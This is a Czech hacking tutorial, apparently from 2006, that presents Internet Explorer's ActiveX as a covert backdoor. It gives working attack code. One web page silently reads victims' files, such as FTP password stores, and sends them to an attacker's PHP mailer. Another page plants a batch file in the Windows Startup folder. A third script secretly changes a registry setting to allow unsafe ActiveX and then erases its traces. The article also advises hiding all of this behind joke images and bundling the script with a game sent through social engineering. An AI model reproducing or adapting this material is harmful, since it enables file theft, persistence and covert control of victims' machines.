IE jako backdoor

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: Emkei
Datum: 24.6.2006
Hodnocení/Hlasovalo: 1.51/92

Hledáte antivirovými systémy neodhalitelný, firewally nezastavitelný a přesto účinný backdoor, kterému je jedno, jakou má oběť IP adresu, nebo zda je za NATem? Řešení nabízí sám Microsoft...

Pokud nejste zrovna zběhlí v programování a přesto byste rádi získali kontrolu nad vzdáleným systémem, můžete využít Microsoftem předinstalovaný a naprosto neodhalitelný backdoor s názvem Internet Explorer. Sám o sobě není pro své uživatele zas tak nebezpečný, díru v systému z něj dělají převážně až prvky ActiveX, které tento Internetový prohlížeč neblaze proslavily.
Právě pomocí ActiveX a JavaScriptu můžete na počítač oběti zapsat/upravit jakýkoliv soubor textového charakteru (nejčastěji batch file či WSH script) nebo stejný typ souboru oběti z počítače ukrást a nechat si ho poslat třeba na e-mail nebo webový/ftp server.
K tomu všemu stačí, aby oběť načetla ve svém prohlížeči námi vytvořenou stránku, třeba s nějakým vtipným obsahem sloužícím jako kamufláž (kdo by měl podezření, když se ho jen snažíme rozesmát, a to třeba i několikrát denně).

Čtení dat z HDD

Pomocí následujícího scriptu show.php lze z počítače oběti poslat jakýkoliv soubor textového charakteru na naši e-mailovou adresu. Stačí pouze upravit hodnotu proměnné filename obsahující absolutní cestu k požadovanému souboru (všimněte si internetového zápisu lomítek).
Při kliknutí na námi zaslaný odkaz se v prohlížeči oběti spustí script show.php, který načte požadovaný soubor do textového pole a pomocí DOM jej automaticky odešle ke zpracování scriptu index.php, kde dojde k přeposlání obsahu na náš e-mail.
V případě, že daný soubor nebude na disku nalezen, odešle rovněž zprávu s příslušným chybovým hlášením. Nakonec je uživateli načten nějaký vtipný obrázek, který kamufluje veškerou předchozí činnost.


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
 <title>Loading...</title>
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
<!--
function Reading() {
 var filename = 'C://WINDOWS/wcx_ftp.ini';

 var fso;
 fso = new ActiveXObject('Scripting.FileSystemObject');
 if (fso.FileExists(filename)) {
  var file, size, content;
  var param = '?img=116';
  var forReading = 1;
  file = fso.GetFile(filename);
  size = file.size;
  if (size) {
   file = fso.OpenTextFile(filename, forReading);
   content = file.ReadAll();
   content = content.replace(/\"/g,'uTx6if');
   file.close();
  }
 } else {
  var param = '?picture=312';
 }
 var page = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">\r\n' +
 '<html>\r\n<head>\r\n' +
 ' <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">\r\n' +
 ' <title>Loading...</title>\r\n</head>\r\n<body>\r\n' +
 ' <form action="index.php' + param + '" method="post">\r\n' +
 '  <input type="hidden" name="path" id="path" value="' + filename + '">\r\n' +
 '  <textarea name="content" id="content" rows=1 cols=1 style="display:none">' + content + '</textarea>\r\n' +
 '  <input type="submit" value="" style="display:none">\r\n' +
 ' </form>\r\n</body>\r\n</html>';
 document.write(page);
 document.forms[0].submit();
}
//-->
</SCRIPT>
</head>
<body onLoad='Reading()'>
</body>
</html>



K čemu nám to ale všechno je, když můžeme získat pouze soubory textového charakteru? Můžeme tak například stáhnout hesla k FTP účtům (v TC soubor wcx_ftp.ini), číst poštu v Otlooku, krást cookies pro autologin,... záleží jen a jen na kreativitě útočníka.

Zápis na HDD

Jak jsem se již zmínil v úvodu, kamkoliv na HDD oběti smíme rovněž zapisovat, což nám výrazně rozšiřuje pole působnosti. Můžeme tak například do složky
C:\Documents and Settings\All Users\Nabídka Start\Programy\Po spuštění\
zapsat dávkový soubor, prostřednictvím kterého lze vykonávat jakékoliv příkazy stejně, jako z příkazové řádky! Dále můžeme pomocí integrované utility reg.exe nebo WSH scriptu pracovat s registry Windows, vypnout firewall nebo se připojit na náš FTP účet a stáhnout další nebezpečné programy.
Opět stačí pouze v souboru load.php upravit hodnoty proměnných filename (absolutní cesta a název scriptu) a code (obsah souboru - samotný script; odřádkování zapisujte klasicky jako \r\n).


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
 <title>Loading...</title>
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
<!--
function Writing() {
 var filename = 'C://Documents and Settings/All Users/Nabídka Start/Programy/Po spuštění/Win32.cmd';
 var code='@echo off\r\necho Hacked!\r\npause > NUL';

 var fso = new ActiveXObject('Scripting.FileSystemObject');
 if (fso.FileExists(filename)) {
  var ForAppending = 8;
  var file = fso.OpenTextFile(filename, ForAppending, false);
  file.WriteLine(code);
  file.WriteBlankLines(1);
 }
 else {
  var file = fso.CreateTextFile(filename, true);
  file.WriteLine(code);
  file.WriteBlankLines(1);
 }
 file.Close();
 window.location.href="index.php?show=59";
}
//-->
</SCRIPT>
</head>
<body onLoad='Writing()'>
</body>
</html>



Script se spustí automaticky po restartování počítače. O úspěšném uploadu souboru budete rovněž informováni pomocí e-mailové zprávy. Oběti se nakonec načte index.php s vtipným obrázkem (nezapomeňte je pokaždé měnit =)

index.php

Jediné, co má za úkol, je informovat útočníka a případně mu odeslat požadovaný soubor z počítače oběti. To vše na e-mailovou adresu uvedenou v proměnné $rcpt.
Zde se také nachází stránka, která se uživateli zobrazí (nyní obrázek).


<?php
$rcpt = "emkei@soom.cz";

if (isset($_POST['path']) && !$_GET['picture']) {
 $subject = "Stolen File";
 $text = str_replace(array('//','/'),'\\',stripslashes($_POST['path'])).":\r\n\r\n";
 $text .= str_replace('uTx6if','"',stripslashes($_POST['content']));
} elseif (isset($_GET['show'])) {
 $subject = "File uploaded";
 $text = "Soubor byl úspěšně uploadován.";
} elseif (isset($_GET['picture'])) {
 $subject = "File not found";
 $text = "Požadovaný soubor nebyl nalezen.";
}

$header = "From: WebDoor<foo@bar.com>\r\n";
$header .= "MIME-version: 1.0\r\n";
$header .= "X-Priority: 3 (Normal)\r\n";
$header .= "Importance: Normal\r\n";
$header .= "Return-Path: <foo@bar.com>\r\n";
$header .= "Reply-To: <foo@bar.com>\r\n";
$header .= "Content-Type: text/plain; charset=\"iso-8859-2\"\r\n";
$header .= "Content-Transfer-Encoding: quoted-printable\r\n\r\n";
$header .= imap_8bit($text)."\r\n\r\n";

if (isset($_POST['path']) || isset($_GET['show']) || isset($_GET['picture']))
 mail($rcpt,$subject,"",$header);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
 <title>World of Fun</title>
</head>
<body>
 <center><br><br>
 <img src="http://imgsrv1.ftipky.cz/vista_bude_lepsi_ale_v_cem.jpg" alt="">
 </center>
</body>
</html>



Stejně jako nic na světě, ani tento backdoor není zadarmo. Kromě faktu, že oběť musí surfovat pomocí Internet Exploreru (což není zas tak těžké splnit, stále jej využívá cca 85 % uživatelů), nebo mít ve svém alternativním prohlížeči nainstalován plug-in ActiveX (k čemuž jí můžeme pomoci =) a mít povolenou interpretaci JavaScriptu (defaultně povoleno), musí dojít rovněž k vykonání kódu ActiveX.
Všechno až na poslední předpoklad výchozí nastavení IE splňuje. Přeci jen se nejedná zas o tak předpotopní prohlížeč, aby podobné kódy z Internetu interpretoval, můžeme ho k tomu ale donutit.
Toto bezpečnostní opatření zajišťuje jediná hodnota v registrech Windows
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1201
která je standardně nastavena na 3 (zakázáno). Když ji přepíšeme na 0 (povoleno), bude náš backdoor aktivován. To můžeme udělat hned několika způsoby.
Máme-li fyzicky přístup k počítači oběti, postačí upravit nastaveni prohlížeče:
Nástroje » Možnosti Internetu... » záložka Zabezpečení, zóna Internet » Vlastní úroveň... » Povolit pravidlo "Inicializovat a skriptovat ovládací prvky ActiveX, které nejsou označeny jako bezpečné":

IE Settings

V opačném případě musíme přimět oběť, aby spustila script, který hodnotu v registrech edituje přímo. Může to udělat malý program, WSH Script, nebo jednoduchý dávkový soubor podobný následujícímu, který třeba zkompilujte (aby případné zkoumání neodhalilo, co script vykonal), společně s nějakou hrou z něj například pomocí utility IExpress vytvořte samorozbalovací archiv a pošlete oběti (využijte sociotechniku):


(Script se pokusí změnit hodnotu v registrech pomocí utility reg.exe, které je součástí Windows. Pokud ji z nějakého důvodu nenajde, vytvoří si v dočasném adresáři klasický .reg soubor, skrytě jej spustí a zahladí stopy)

@echo off
if not exist %windir%\system32\reg.exe goto reg
%windir%\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v 1201 /t REG_DWORD /d 0 /f > NUL
goto end
:reg
cd %temp%
echo REGEDIT4>DelMe.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>DelMe.reg
echo "1201"=dword:00000000>>DelMe.reg
regedit /s DelMe.reg
echo Y | del DelMe.reg > NUL
:end



Všechny uvedené scripty jsou jen malou ukázkou, nikdy neškodí si je upravit. Můžete z nich například vytvořit jediný script ovládaný pomocí proměnných zapsaných v URL, includovat JavaScript z externích souborů a využívat různé kamuflážové triky pro případ, že se oběť pokusí útok odhalit. Rovněž můžete uložit nebo odcizit více souborů najednou (všeho s mírou), případně humorné obrázky nahradit flashem nebo něčím jiným, co vaši oběť rovněž zaujme...
Archiv se všemi zmiňovanými kódy můžete stáhnout zde.

Závěr

I když ovládání vzdáleného systému tímto způsobem není zrovna nejpohodlnější, stále se jedná o backdoor, který je takřka neodhalitelný a k jehož aktivaci stačí úprava jediné hodnoty v registrech Windows. Pak už jen zasíláte oběti odkaz na upravený script show.php pro čtení dat z disku, respektive load.php pro zápis na HDD a zatímco se směje nad zobrazeným vtipem, vy jste se stali novým správcem jejího počítače bez ohledu na to, jakou má zrovna IP adresu, nebo zda je za NATem...


Written by Emkei